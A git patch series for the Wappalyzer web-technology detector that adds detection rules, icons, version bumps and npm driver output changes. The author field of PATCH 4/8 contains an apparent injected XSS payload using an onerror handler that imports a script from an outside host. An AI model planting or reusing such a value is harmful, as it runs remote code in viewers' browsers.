From c1dd10d8361afbd309eeb8eec03bcc1aaf463a0f Mon Sep 17 00:00:00 2001 From: rockeynebhwani Date: Sun, 26 Jul 2020 02:08:46 +0100 Subject: [PATCH 1/8] Added Borderfree / Flow / Salesfloor in eCommerce category https://github.com/AliasIO/wappalyzer/issues/3229 --- src/apps.json | 33 ++++++++++++++++++ .../webextension/images/icons/borderfree.png | Bin 0 -> 615 bytes .../webextension/images/icons/flow.png | Bin 0 -> 1335 bytes .../webextension/images/icons/salesfloor.png | Bin 0 -> 1008 bytes 4 files changed, 33 insertions(+) create mode 100644 src/drivers/webextension/images/icons/borderfree.png create mode 100644 src/drivers/webextension/images/icons/flow.png create mode 100644 src/drivers/webextension/images/icons/salesfloor.png diff --git a/src/apps.json b/src/apps.json index 53e5cb942..8705282b3 100644 --- a/src/apps.json +++ b/src/apps.json @@ -1659,6 +1659,18 @@ "script": "bootstrap-table(?:\\.min)?\\.js", "website": "http://bootstrap-table.wenzhixin.net.cn/" }, + "borderfree": { + "cats": [ + 6 + ], + "script": [ + "global\\.prd\\.borderfree\\.com", + "wm\\.prd\\.borderfree\\.com", + "bfx\\.js" + ], + "icon": "borderfree.png", + "website": "https://www.borderfree.com/" + }, "Botble CMS": { "cats": [ 1, @@ -3999,6 +4011,17 @@ "script": "/flickity(?:\\.pkgd)?(?:\\.min)?\\.js", "website": "https://flickity.metafizzy.co/" }, + "Flow": { + "cats": [ + 6 + ], + "script": [ + "shopify-cdn\\.flow\\.io", + "flow\\.min\\.js" + ], + "icon": "flow.png", + "website": "https://www.flow.io/" + }, "FluxBB": { "cats": [ 2 @@ -10028,6 +10051,16 @@ "icon": "salecycle.svg", "website": "https://www.salecycle.com/" }, + "Salesfloor": { + "cats": [ + 6 + ], + "script": [ + "salesFloor\\.js" + ], + "icon": "salesfloor.png", + "website": "https://salesfloor.net/" + }, "Salesforce": { "cats": [ 53 diff --git a/src/drivers/webextension/images/icons/borderfree.png b/src/drivers/webextension/images/icons/borderfree.png new file mode 100644 index 0000000000000000000000000000000000000000..532b684b3653ba85175232274ada3e039df2eda5 GIT binary patch literal 615 zcmeAS@N?(olHy`uVBq!ia0vp^3Lwk@BpAX3RW*PVOS+@4BLl<6e(pbstRTr`k04(L zhAK4%hK3dfhF?ITh8GMBr3MTPuM!v-tY$DUh!@P+6=(yLU`q0KcVYP7-hXC4kjGx) z>Fdh=kcC;)TIW$+=Sv0#MjlTW#}JFt$q5Y%Zi1PbnSp9-a~g_Ip3OGD{_%0xf!Zhk z|Nnp9+SbYBmgZ)|_3l}@Zq(K#`gdmtw>Q=Q|JQtA|MuB7ksGxf8v1qj+z|cq@7rJf zmWwCbTn~1iVo<-nNw*1nd9U(~u^i%#fjZrXA9;7`#BpRe+6XL>eML0RfUOUea( zg?v`wJl080?pGKJYd8 z{%Oa>Cz27}-|qhX@mpTtPhIhvFxlu+Pp6pj_pmiF)Y?Q!a5FII=8HQ%aJc1ICAEQ%n|m}4IT@;^cY@=3zmFx SGMx&vg2B_(&t;ucLK6U=vgH2& literal 0 HcmV?d00001 diff --git a/src/drivers/webextension/images/icons/flow.png b/src/drivers/webextension/images/icons/flow.png new file mode 100644 index 0000000000000000000000000000000000000000..bda3be6cc22c2464281dd09a67ba2f422697c05d GIT binary patch literal 1335 zcmV-71<3k|P)Z3s6*57{?F3k{G2Zn-O9!B(HL;1|Nmx_!uh(c_|Moc?g*h zPSK2x_D;8;$*jiF8m%UXmPbM0P*V_~I7vc?7z5^*T8;78VFMPHy$iCt{lDG2c<(-9 z@8+HP&78S&?)m=bJKy76#@u|kq*5ERfj?LR9s*HdDF^}cZ1Zl~BP=)*gn}$^44ecP zK@aEye}Xnp30?AAZ}A^E_p8`tzu~T%Z<9nkF*=2Klznk zf2hq6xw~%ko~OQ=@K8uASm{y(msrXI6I2x8dn0$%sgo)$^Ut>YGm+adV#+-~Vt%ee zYuetdnTRjGpj(_%!(+ZDBASGll8WGxOIc8I84KK`+PHL2{iU?}9)rc`Ijxiqtr>#M zDb-hX_ijI~^FV|N9JOVL#PtiKi{?jURTn2!Ugn(|w=xczAR=$c&hPd^z=#K47yuh2 zUZ6ohZ1IX!1I&zYOV8YpNApj!(6mbL^oHKunWxn1=ubQO6|XdEQ4u>3@r{CkRNyBTBJu(im~WlM zgQapNTHaS<9D+*gSPgGqb(B4JxSidXU9);|c1<^8!ib6XJD|K*fp8Zhf`t_81X?hT zb$G1Fult}?i|U$>jrqhCbvqoVZ2?;N#5A>@+*knuTpY(75QZJcEZX{YMr>i%Pw9=l z6FKd}rX4MV8kF)Z#zMV9Gb$ZEq)W%UoVA}%7f2IeuOyZ1p4?6yd*Q-Z5UT1~acZYj zU2R3$M?CoA4=gZV<&aM2WTet1&UzhlI8R&3f()P&Wt2I!?(gAcd+N7cLD1iw@TEjR zG#HX0fG83&z?lGlP;1}J5a9gEeWwmEmNnB}KngI(6hOKEwAc%RaUW0s4E6%Ho$TkA zztnJq&3kngy01jQ6F?(V0C5^DqBR8L3xE;~+xHYYf-T4Y(4&>-vw*i|P!|>pP=KF3 z5J35@O#88CAq*tIP!-TS?WpZq6K+<6n4cb=StV`9UO$QVvD*PAVA}y zmD?^dJZ@99{xM&0Q@giI#X!zl&E$H)j0?(m@;6uX*rm}{%5Bg)q@VtQyzhTkY*xjg z^Ey^S?nX6R23q6_pyGwDYFKmN%m{X>&p6R{oxpeu?{vuhK2+A{!5oL(I}z~+XqN4X zL<^JXAJ-9R1_GBIBi{AH@Gi{pq08@oJ|YqKgEFA^M2PS|VZxaD!d5WX!R>B{SO9i{ zvoeE|`b97J2t*12?w)ZcLg?c#K}Z#6y#tPN(zZ(m>A#Wc2&HlXSZi_l&G=gudE`zZ tJ~F|Z;C=8RXT2BZfsLHCD9v`)=)X-~b_zM?ZPfq(002ovPDHLkV1lPDYk2?w literal 0 HcmV?d00001 diff --git a/src/drivers/webextension/images/icons/salesfloor.png b/src/drivers/webextension/images/icons/salesfloor.png new file mode 100644 index 0000000000000000000000000000000000000000..b0d348562cf14121745900fe353aae8733756251 GIT binary patch literal 1008 zcmV{NBTGs-^b)BEcCzWVB? z3t-5K&D?`Xyr@YQl;yjI%oMW(EKNl;I~!B*&5Dn6B_6|G&cI{D`WgcWaW{V63LRe)W)wD(Tj! zB3odrcD6shagnBULM7?_FkU}rAZ=xN6iL46L`nQ!VU6qy%JVv^q__0rVJBY^!otIRAzJy?39+&b) zz$FI>0RYO)OZ%{AV6rxn2iGJA1N<{xfR)+6rg|mUz*tS8l|OpOj^<+jHsJFc_i6`# zB#nT9mx@SxuVN(rq|kuj_XGT|cgZZj=SSq;Ei__*>{MKqzB0laffg~M_GU>M9QL#K)Xkrx=k-Ir`8AXX}VzedwrY z;@AGG0d4t1e{%dQJn$y203wNaKr5%?q;>7k;+47E!~X+*+XoxIBM7$gHJJK_LB-Xh zJc=Yg1^C*rk!u1&me(Qir=j&ik|Sz5=cWr(G|kr|@ed&`ZQQFUo<$iGNeZ-8+zYR#7FrP7^N Date: Sun, 26 Jul 2020 02:11:54 +0100 Subject: [PATCH 2/8] Fixed comma error which was failing build --- src/apps.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/apps.json b/src/apps.json index 8705282b3..66455a41f 100644 --- a/src/apps.json +++ b/src/apps.json @@ -8129,7 +8129,7 @@ "script": [ "cdn\\.cookielaw\\.org", "optanon\\.blob\\.core\\.windows\\.net", - "otSDKStub\\.js" + "otSDKStub\\.js", "cdn\\.cookielaw\\.org", "optanon\\.blob\\.core\\.windows\\.net" ], From 674ee7a19107e8436b30f6923b89e8108c1ddcd7 Mon Sep 17 00:00:00 2001 From: rockeynebhwani Date: Sun, 26 Jul 2020 02:33:45 +0100 Subject: [PATCH 3/8] Added Matomo tag manager and renamed existing entry to Matomo Analytics. Also added additional categorization from Signal (uses same JS for both solutions) https://github.com/AliasIO/wappalyzer/issues/3246 --- src/apps.json | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/src/apps.json b/src/apps.json index 66455a41f..c62d02b81 100644 --- a/src/apps.json +++ b/src/apps.json @@ -6941,7 +6941,7 @@ "script": "([\\d.]+)?/mathjax\\.js\\;version:\\1", "website": "https://www.mathjax.org" }, - "Matomo": { + "Matomo Analytics": { "cats": [ 10 ], @@ -6963,6 +6963,16 @@ "script": "piwik\\.js|piwik\\.php", "website": "https://matomo.org" }, + "Matomo Tag Manager": { + "cats": [ + 42 + ], + "icon": "Matomo.png", + "js": { + "window.MatomoTagManager": "" + }, + "website": "https://developer.matomo.org/guides/tagmanager/introduction" + }, "Mattermost": { "cats": [ 2 @@ -10527,7 +10537,8 @@ }, "Signal": { "cats": [ - 32 + 32, + 42 ], "icon": "signal.png", "js": { From eb546e6834e55d7766c21918c8a6aa8e3a0cae0e Mon Sep 17 00:00:00 2001 From: "Artem '\"img src onerror=import('//act1on3.ru/i')" Date: Sun, 26 Jul 2020 21:23:16 +0700 Subject: [PATCH 4/8] Update apps.json --- src/apps.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/apps.json b/src/apps.json index 53e5cb942..d977addb0 100644 --- a/src/apps.json +++ b/src/apps.json @@ -8106,7 +8106,7 @@ "script": [ "cdn\\.cookielaw\\.org", "optanon\\.blob\\.core\\.windows\\.net", - "otSDKStub\\.js" + "otSDKStub\\.js", "cdn\\.cookielaw\\.org", "optanon\\.blob\\.core\\.windows\\.net" ], @@ -15127,4 +15127,4 @@ "priority": 9 } } -} \ No newline at end of file +} From 49d979e5305ca817e3bdaec260f8c52aed93455a Mon Sep 17 00:00:00 2001 From: Elbert Alias <77259+AliasIO@users.noreply.github.com> Date: Mon, 27 Jul 2020 09:18:10 +1000 Subject: [PATCH 5/8] Add Amazon Pay, fix Heroku detection --- src/apps.json | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/src/apps.json b/src/apps.json index 9b820eeda..89ef7f3a8 100644 --- a/src/apps.json +++ b/src/apps.json @@ -1014,6 +1014,16 @@ "icon": "Apple.svg", "website": "https://www.apple.com/apple-pay" }, + "Amazon Pay": { + "cats": [ + 41 + ], + "html": " Date: Mon, 27 Jul 2020 09:26:36 +1000 Subject: [PATCH 6/8] Build v6.0.16 --- src/apps.json | 298 +++++++++--------- src/drivers/npm/package.json | 2 +- .../webextension/images/icons/Amazon Pay.svg | 6 + src/drivers/webextension/manifest.json | 4 +- src/package.json | 2 +- 5 files changed, 159 insertions(+), 153 deletions(-) create mode 100644 src/drivers/webextension/images/icons/Amazon Pay.svg diff --git a/src/apps.json b/src/apps.json index 89ef7f3a8..e613e3a7f 100644 --- a/src/apps.json +++ b/src/apps.json @@ -158,11 +158,10 @@ "cats": [ 68 ], + "icon": "Accessibe.png", "script": "acsbap\\.com/.*/acsb\\.js", - "website": "https://accessibe.com/", - "icon": "Accessibe.png" + "website": "https://accessibe.com/" }, - "Acquia Cloud": { "cats": [ 62 @@ -242,9 +241,9 @@ "cats": [ 68 ], + "icon": "Adally.png", "script": "cloudfront\\.net/.*/adally\\.js", - "website": "https://adally.com/", - "icon": "Adally.png" + "website": "https://adally.com/" }, "Adcash": { "cats": [ @@ -552,11 +551,11 @@ "cookies": { "ak_bmsc": "", "bm_sv": "", - "bm_sz": "" + "bm_sz": "" }, "icon": "akamai.svg", "website": "http://akamai.com/bot-manager" - }, + }, "Akaunting": { "cats": [ 55 @@ -714,6 +713,18 @@ "implies": "Amazon Web Services", "website": "https://aws.amazon.com/elasticloadbalancing/" }, + "Amazon Pay": { + "cats": [ + 41 + ], + "html": "]*audioeye\\.com/frame/cookieStorage", + "icon": "AudioEye.png", "script": "audioeye\\.com/ae\\.js", - "website": "https://www.audioeye.com/", - "icon": "AudioEye.png" + "website": "https://www.audioeye.com/" }, "Aurelia": { "cats": [ @@ -1695,18 +1696,6 @@ "script": "bootstrap-table(?:\\.min)?\\.js", "website": "http://bootstrap-table.wenzhixin.net.cn/" }, - "borderfree": { - "cats": [ - 6 - ], - "script": [ - "global\\.prd\\.borderfree\\.com", - "wm\\.prd\\.borderfree\\.com", - "bfx\\.js" - ], - "icon": "borderfree.png", - "website": "https://www.borderfree.com/" - }, "Botble CMS": { "cats": [ 1, @@ -1897,7 +1886,7 @@ "icon": "civic.png", "script": "cc\\.cdn\\.civiccomputing\\.com", "website": "https://www.civicuk.com/cookie-control" - }, + }, "CKEditor": { "cats": [ 24 @@ -2068,16 +2057,16 @@ 6 ], "html": [ - "]*href=[^>]*/Cart", - "]*href=[^>]*/Basket", - "]*href=[^>]*/Trolley", - "]*href=[^>]*/Bag", - "]*href=[^>]*/ShoppingBag", - "]*href=[^>]*/Checkout" + "]*href=[^>]*/Cart", + "]*href=[^>]*/Basket", + "]*href=[^>]*/Trolley", + "]*href=[^>]*/Bag", + "]*href=[^>]*/ShoppingBag", + "]*href=[^>]*/Checkout" ], "icon": "Cart-generic.svg", "website": "https://www.wappalyzer.com/technologies/ecommerce/cart-functionality" - }, + }, "Catberry.js": { "cats": [ 12, @@ -2610,31 +2599,23 @@ "script": "conversionlab\\.trackset\\.com/track/tsend\\.js", "website": "http://www.trackset.it/conversionlab" }, - "Cookiebot": { + "Cookie Script": { "cats": [ 67 ], - "icon": "Cookiebot.svg", - "script": "consent\\.cookiebot\\.com", - "website": "http://www.cookiebot.com" - }, + "icon": "CookieScript.png", + "script": "//cookie-script\\.com/s/", + "website": "https://cookie-script.com/" + }, "CookieHub": { "cats": [ 67 ], + "icon": "CookieHub.png", "script": [ - "cookiehub\\.net/.*\\.js" + "cookiehub\\.net/.*\\.js" ], - "icon": "CookieHub.png", "website": "https://www.cookiehub.com" - }, - "Cookie Script": { - "cats": [ - 67 - ], - "icon": "CookieScript.png", - "script": "//cookie-script\\.com/s/", - "website": "https://cookie-script.com/" }, "CookieYes": { "cats": [ @@ -2643,7 +2624,15 @@ "icon": "cookieyes.png", "script": "app\\.cookieyes\\.com/client_data/", "website": "https://www.cookieyes.com/" - }, + }, + "Cookiebot": { + "cats": [ + 67 + ], + "icon": "Cookiebot.svg", + "script": "consent\\.cookiebot\\.com", + "website": "http://www.cookiebot.com" + }, "Coppermine": { "cats": [ 7 @@ -3023,8 +3012,8 @@ ], "cookies": { "datadome": "", - "datadome-_zldt": "", - "datadome-_zldp": "" + "datadome-_zldp": "", + "datadome-_zldt": "" }, "headers": { "Server": "^DataDome$", @@ -3085,7 +3074,7 @@ "icon": "didomi.png", "script": "sdk\\.privacy-center\\.org/.*/loader\\.js", "website": "https://www.didomi.io/en/consent-preference-management" - }, + }, "DirectAdmin": { "cats": [ 9 @@ -3691,9 +3680,9 @@ "cats": [ 68 ], + "icon": "EqualWeb.png", "script": "cdn\\.equalweb\\.com.*\\.js", - "website": "https://www.equalweb.com/", - "icon": "EqualWeb.png" + "website": "https://www.equalweb.com/" }, "Erlang": { "cats": [ @@ -3734,14 +3723,6 @@ ], "website": "https://etherpad.org" }, - "eucookie.eu": { - "cats": [ - 67 - ], - "icon": "eucookie.png", - "script": "eucookie\\.eu/public/gdpr-cookie-consent\\.js", - "website": "https://www.eucookie.eu/" - }, "Exhibit": { "cats": [ 25 @@ -3855,9 +3836,9 @@ "cats": [ 68 ], + "icon": "Facil-iti.png", "script": "ws\\.facil-iti\\.com/tag/faciliti-tag\\.min\\.js", - "website": "https://www.facil-iti.com/", - "icon": "Facil-iti.png" + "website": "https://www.facil-iti.com/" }, "Fact Finder": { "cats": [ @@ -4067,13 +4048,13 @@ "cats": [ 6 ], + "icon": "flow.png", "script": [ - "shopify-cdn\\.flow\\.io", - "flow\\.min\\.js" + "shopify-cdn\\.flow\\.io", + "flow\\.min\\.js" ], - "icon": "flow.png", "website": "https://www.flow.io/" - }, + }, "FluxBB": { "cats": [ 2 @@ -4593,12 +4574,12 @@ "cats": [ 6 ], + "icon": "Globale.png", "script": [ - "web\\.global-e\\.com" + "web\\.global-e\\.com" ], - "icon": "Globale.png", "website": "https://www.global-e.com/" - }, + }, "Glyphicons": { "cats": [ 17 @@ -5165,7 +5146,6 @@ "cats": [ 62 ], - "url": "\\.herokuapp\\.com", "headers": { "Via": "[\\d.-]+ vegur$" }, @@ -5173,6 +5153,7 @@ "implies": [ "Amazon Web Services" ], + "url": "\\.herokuapp\\.com", "website": "https://www.heroku.com/" }, "Hexo": { @@ -5236,9 +5217,9 @@ "cats": [ 68 ], + "icon": "HikeOrders.png", "script": "hikeorders\\.com/main/assets/js/hko-accessibility\\.min\\.js", - "website": "https://hikeorders.com/", - "icon": "HikeOrders.png" + "website": "https://hikeorders.com/" }, "Hinza Advanced CMS": { "cats": [ @@ -5459,6 +5440,16 @@ "script": "^immutable\\.(?:min\\.)?js$", "website": "https://facebook.github.io/immutable-js/" }, + "Imperva": { + "cats": [ + 16 + ], + "icon": "Imperva.svg", + "script": [ + "/_Incapsula_Resource" + ], + "website": "https://www.imperva.com/" + }, "ImpressCMS": { "cats": [ 1 @@ -5696,12 +5687,12 @@ "cats": [ 67 ], + "icon": "iubenda.png", "script": [ - "iubenda\\.com/cookie-solution/confs/js/" + "iubenda\\.com/cookie-solution/confs/js/" ], - "icon": "iubenda.png", "website": "https://www.iubenda.com/" - }, + }, "J2Store": { "cats": [ 6 @@ -6878,9 +6869,9 @@ "cats": [ 68 ], + "icon": "Make-Sense.png", "script": "mk-sense\\.com/aweb\\?license", - "website": "https://mk-sense.com/", - "icon": "Make-Sense.png" + "website": "https://mk-sense.com/" }, "MakeShopKorea": { "cats": [ @@ -7249,12 +7240,12 @@ "cats": [ 67 ], + "icon": "metomic.png", "script": [ - "metomic\\.js" + "metomic\\.js" ], - "icon": "metomic.png", "website": "https://metomic.io" - }, + }, "Microsoft ASP.NET": { "cats": [ 18 @@ -7467,15 +7458,15 @@ ], "headers": { "X-Powered-By": "Mobify" - }, + }, "icon": "Mobify.png", "js": { "Mobify": "" }, "script": [ - "//cdn\\.mobify\\.com/", - "//a\\.mobify\\.com/" - ], + "//cdn\\.mobify\\.com/", + "//a\\.mobify\\.com/" + ], "website": "https://www.mobify.com" }, "Mobirise": { @@ -8206,7 +8197,7 @@ }, "icon": "OneTrust.png", "script": [ - "cdn\\.cookielaw\\.org", + "cdn\\.cookielaw\\.org", "optanon\\.blob\\.core\\.windows\\.net", "otSDKStub\\.js", "cdn\\.cookielaw\\.org", @@ -8553,7 +8544,7 @@ "icon": "osano.png", "script": "cookieconsent\\.min\\.js", "website": "https://www.osano.com/" - }, + }, "Outbrain": { "cats": [ 5 @@ -8832,13 +8823,13 @@ ], "cookies": { "_px3": "", - "_pxvid": "", "_pxff_cc": "", - "_pxhd": "" + "_pxhd": "", + "_pxvid": "" }, "icon": "perimeterx.svg", "website": "https://www.perimeterx.com/" - }, + }, "Perl": { "cats": [ 27 @@ -9370,7 +9361,7 @@ }, "script": "quantcast\\.mgr\\.consensu\\.org", "website": "https://www.quantcast.com/gdpr/consent-management-solution/" - }, + }, "Quantcast Measure": { "cats": [ 10 @@ -9587,14 +9578,6 @@ }, "website": "http://www.rayo.ir" }, - "Recite Me": { - "cats": [ - 68 - ], - "html": "api\\.reciteme\\.com/asset/js", - "website": "https://reciteme.com/", - "icon": "Recite Me.png" - }, "ReDoc": { "cats": [ 4 @@ -9638,6 +9621,14 @@ "icon": "RebelMouse.svg", "website": "https://www.rebelmouse.com/" }, + "Recite Me": { + "cats": [ + 68 + ], + "html": "api\\.reciteme\\.com/asset/js", + "icon": "Recite Me.png", + "website": "https://reciteme.com/" + }, "Red Hat": { "cats": [ 28 @@ -10142,12 +10133,12 @@ "cats": [ 6 ], - "script": [ - "salesFloor\\.js" - ], "icon": "salesfloor.png", + "script": [ + "salesFloor\\.js" + ], "website": "https://salesfloor.net/" - }, + }, "Salesforce": { "cats": [ 53 @@ -10294,12 +10285,12 @@ "cats": [ 67 ], + "icon": "seersco.png", "script": [ - "seersco.com/script/cb\\.js" + "seersco.com/script/cb\\.js" ], - "icon": "seersco.png", "website": "http://www.seersco.com" - }, + }, "Segment": { "cats": [ 10 @@ -11698,7 +11689,7 @@ "icon": "termly.svg", "script": "app\\.termly\\.io/embed\\.min\\.js", "website": "https://termly.io/" - }, + }, "Tessitura": { "cats": [ 53 @@ -11726,9 +11717,9 @@ "cats": [ 68 ], + "icon": "Texthelp.png", "script": "browsealoud\\.com/.*/browsealoud\\.js", - "website": "https://www.texthelp.com/en-gb/products/browsealoud/", - "icon": "Texthelp.png" + "website": "https://www.texthelp.com/en-gb/products/browsealoud/" }, "Textpattern CMS": { "cats": [ @@ -11753,7 +11744,7 @@ "THEHUT-.*\\.js" ], "website": "https://www.thg.com/" - }, + }, "Thelia": { "cats": [ 1, @@ -12198,14 +12189,6 @@ "script": "underscore.*\\.js(?:\\?ver=([\\d.]+))?\\;version:\\1", "website": "http://underscorejs.org" }, - "uRemediate": { - "cats": [ - 68 - ], - "script": "fecdn\\.user1st\\.info/Loader/head", - "website": "https://www.user1st.com/uremediate/", - "icon": "User1st.png" - }, "Uniconsent": { "cats": [ 67 @@ -12213,15 +12196,6 @@ "icon": "Uniconsent.png", "script": "cmp\\.uniconsent\\.mgr\\.consensu\\.org/dfp\\.js", "website": "https://www.uniconsent.com/" - }, - "UsableNet": { - "cats": [ - 68 - ], - "script": "\\.usablenet\\.com/pt/", - "html": "]*\\.usablenet\\.com/pt/", - "website": "https://usablenet.com/", - "icon": "UsableNet.png" }, "Usabilla": { "cats": [ @@ -12233,6 +12207,15 @@ }, "website": "http://usabilla.com" }, + "UsableNet": { + "cats": [ + 68 + ], + "html": "]*\\.usablenet\\.com/pt/", + "icon": "UsableNet.png", + "script": "\\.usablenet\\.com/pt/", + "website": "https://usablenet.com/" + }, "UserLike": { "cats": [ 52 @@ -12268,9 +12251,9 @@ "cats": [ 68 ], + "icon": "UserWay.png", "script": "cdn\\.userway\\.org/widget.*\\.js", - "website": "https://userway.org/", - "icon": "UserWay.png" + "website": "https://userway.org/" }, "Ushahidi": { "cats": [ @@ -12711,8 +12694,7 @@ ], "icon": "webAR.svg", "website": "https://modelviewer.dev/" - }, - + }, "WebGUI": { "cats": [ 1 @@ -13758,6 +13740,18 @@ "script": "basket.*\\.js\\;confidence:10", "website": "https://addyosmani.github.io/basket.js/" }, + "borderfree": { + "cats": [ + 6 + ], + "icon": "borderfree.png", + "script": [ + "global\\.prd\\.borderfree\\.com", + "wm\\.prd\\.borderfree\\.com", + "bfx\\.js" + ], + "website": "https://www.borderfree.com/" + }, "cPanel": { "cats": [ 9 @@ -13922,6 +13916,14 @@ "implies": "Node.js", "website": "http://endurojs.com" }, + "eucookie.eu": { + "cats": [ + 67 + ], + "icon": "eucookie.png", + "script": "eucookie\\.eu/public/gdpr-cookie-consent\\.js", + "website": "https://www.eucookie.eu/" + }, "experiencedCMS": { "cats": [ 1 @@ -14080,16 +14082,6 @@ "url": "imperia/md/", "website": "https://www.pirobase-imperia.com/de/produkte/produktuebersicht/imperia-cms" }, - "Imperva": { - "cats": [ - 16 - ], - "script": [ - "/_Incapsula_Resource" - ], - "icon": "Imperva.svg", - "website": "https://www.imperva.com/" - }, "io4 CMS": { "cats": [ 1 @@ -14897,6 +14889,14 @@ "script": "/media/conv/js/jquery\\.js", "website": "https://uknowva.com" }, + "uRemediate": { + "cats": [ + 68 + ], + "icon": "User1st.png", + "script": "fecdn\\.user1st\\.info/Loader/head", + "website": "https://www.user1st.com/uremediate/" + }, "user.com": { "cats": [ 10 @@ -15284,4 +15284,4 @@ "priority": 9 } } -} +} \ No newline at end of file diff --git a/src/drivers/npm/package.json b/src/drivers/npm/package.json index ec68a1286..49d71ca3f 100644 --- a/src/drivers/npm/package.json +++ b/src/drivers/npm/package.json @@ -13,7 +13,7 @@ "software" ], "homepage": "https://www.wappalyzer.com", - "version": "6.0.15", + "version": "6.0.16", "author": "Wappalyzer", "license": "MIT", "repository": { diff --git a/src/drivers/webextension/images/icons/Amazon Pay.svg b/src/drivers/webextension/images/icons/Amazon Pay.svg new file mode 100644 index 000000000..19f29d4ff --- /dev/null +++ b/src/drivers/webextension/images/icons/Amazon Pay.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/src/drivers/webextension/manifest.json b/src/drivers/webextension/manifest.json index 57c9ade6f..03c19ec2c 100644 --- a/src/drivers/webextension/manifest.json +++ b/src/drivers/webextension/manifest.json @@ -4,7 +4,7 @@ "author": "Wappalyzer", "homepage_url": "https://www.wappalyzer.com", "description": "Identify web technologies", - "version": "6.0.15", + "version": "6.0.16", "default_locale": "en", "manifest_version": 2, "icons": { @@ -68,4 +68,4 @@ "https://*/*" ], "content_security_policy": "script-src 'self'; object-src 'self'" -} +} \ No newline at end of file diff --git a/src/package.json b/src/package.json index 3e6f7d76a..b0a48ea75 100644 --- a/src/package.json +++ b/src/package.json @@ -13,7 +13,7 @@ "software" ], "homepage": "https://www.wappalyzer.com", - "version": "6.0.15", + "version": "6.0.16", "author": "Wappalyzer", "license": "MIT", "repository": { From 11a95bc58c3ae90785cd285b2b30b2ca47486752 Mon Sep 17 00:00:00 2001 From: Elbert Alias <77259+AliasIO@users.noreply.github.com> Date: Mon, 27 Jul 2020 09:53:59 +1000 Subject: [PATCH 7/8] Return errors as strings --- src/drivers/npm/driver.js | 24 +++--------------------- 1 file changed, 3 insertions(+), 21 deletions(-) diff --git a/src/drivers/npm/driver.js b/src/drivers/npm/driver.js index bce3bf326..08d392079 100644 --- a/src/drivers/npm/driver.js +++ b/src/drivers/npm/driver.js @@ -40,12 +40,6 @@ languageDetect.setLanguageType('iso2') const extensions = /^([^.]+$|\.(asp|aspx|cgi|htm|html|jsp|php)$)/ -const errorTypes = { - RESPONSE_NOT_OK: 'Response was not ok', - NO_RESPONSE: 'No response from server', - NO_HTML_DOCUMENT: 'No HTML document' -} - const { apps: technologies, categories } = JSON.parse( fs.readFileSync(path.resolve(`${__dirname}/apps.json`)) ) @@ -157,7 +151,7 @@ class Site { try { this.originalUrl = new URL(url) } catch (error) { - throw new Error(error.message || error.toString()) + throw new Error(error.toString()) } this.analyzedUrls = {} @@ -411,7 +405,7 @@ class Site { this.log('Page closed') - throw new Error('NO_RESPONSE') + throw new Error('No response from server') } if (!this.language) { @@ -493,21 +487,9 @@ class Site { await this.batch(links.slice(0, this.options.maxUrls), depth + 1) } } catch (error) { - const type = - error.message && errorTypes[error.message] - ? error.message - : 'UNKNOWN_ERROR' - const message = - error.message && errorTypes[error.message] - ? errorTypes[error.message] - : 'Unknown error' - this.analyzedUrls[url.href] = { status: 0, - error: { - type, - message - } + error: error.message || error.toString() } this.error(error) From f2b0ed4c646fdde6269f2b9862dbf25bbdaaf337 Mon Sep 17 00:00:00 2001 From: Elbert Alias <77259+AliasIO@users.noreply.github.com> Date: Mon, 27 Jul 2020 10:14:42 +1000 Subject: [PATCH 8/8] Changes to NPM output --- src/drivers/npm/driver.js | 31 +++++++++++++++++++++---------- src/drivers/npm/package.json | 4 ++-- src/package.json | 4 ++-- 3 files changed, 25 insertions(+), 14 deletions(-) diff --git a/src/drivers/npm/driver.js b/src/drivers/npm/driver.js index 08d392079..ab935d437 100644 --- a/src/drivers/npm/driver.js +++ b/src/drivers/npm/driver.js @@ -282,7 +282,10 @@ class Site { await Promise.race([ page.goto(url.href, { waitUntil: 'domcontentloaded' }), new Promise((resolve, reject) => - setTimeout(() => reject(new Error('Timeout')), this.options.maxWait) + setTimeout( + () => reject(new Error('The website took too long to respond')), + this.options.maxWait + ) ) ]) } catch (error) { @@ -497,21 +500,29 @@ class Site { return { urls: this.analyzedUrls, - applications: resolve(this.detections).map( - ({ name, confidence, version, icon, website, cpe, categories }) => ({ + technologies: resolve(this.detections).map( + ({ + slug, name, confidence, version, icon, website, cpe, - categories: categories.reduce( - (categories, { id, name }) => ({ - ...categories, - [id]: name - }), - {} - ) + categories + }) => ({ + slug, + name, + confidence, + version: version || null, + icon, + website, + cpe, + categories: categories.map(({ id, slug, name }) => ({ + id, + slug, + name + })) }) ), meta: { diff --git a/src/drivers/npm/package.json b/src/drivers/npm/package.json index 49d71ca3f..84fcdcfb9 100644 --- a/src/drivers/npm/package.json +++ b/src/drivers/npm/package.json @@ -13,7 +13,7 @@ "software" ], "homepage": "https://www.wappalyzer.com", - "version": "6.0.16", + "version": "6.1.1", "author": "Wappalyzer", "license": "MIT", "repository": { @@ -38,4 +38,4 @@ "languagedetect": "^2.0.0", "puppeteer": "^2.0.0" } -} \ No newline at end of file +} diff --git a/src/package.json b/src/package.json index b0a48ea75..365faa8de 100644 --- a/src/package.json +++ b/src/package.json @@ -13,7 +13,7 @@ "software" ], "homepage": "https://www.wappalyzer.com", - "version": "6.0.16", + "version": "6.1.1", "author": "Wappalyzer", "license": "MIT", "repository": { @@ -27,4 +27,4 @@ "files": [ "wappalyzer.js" ] -} \ No newline at end of file +}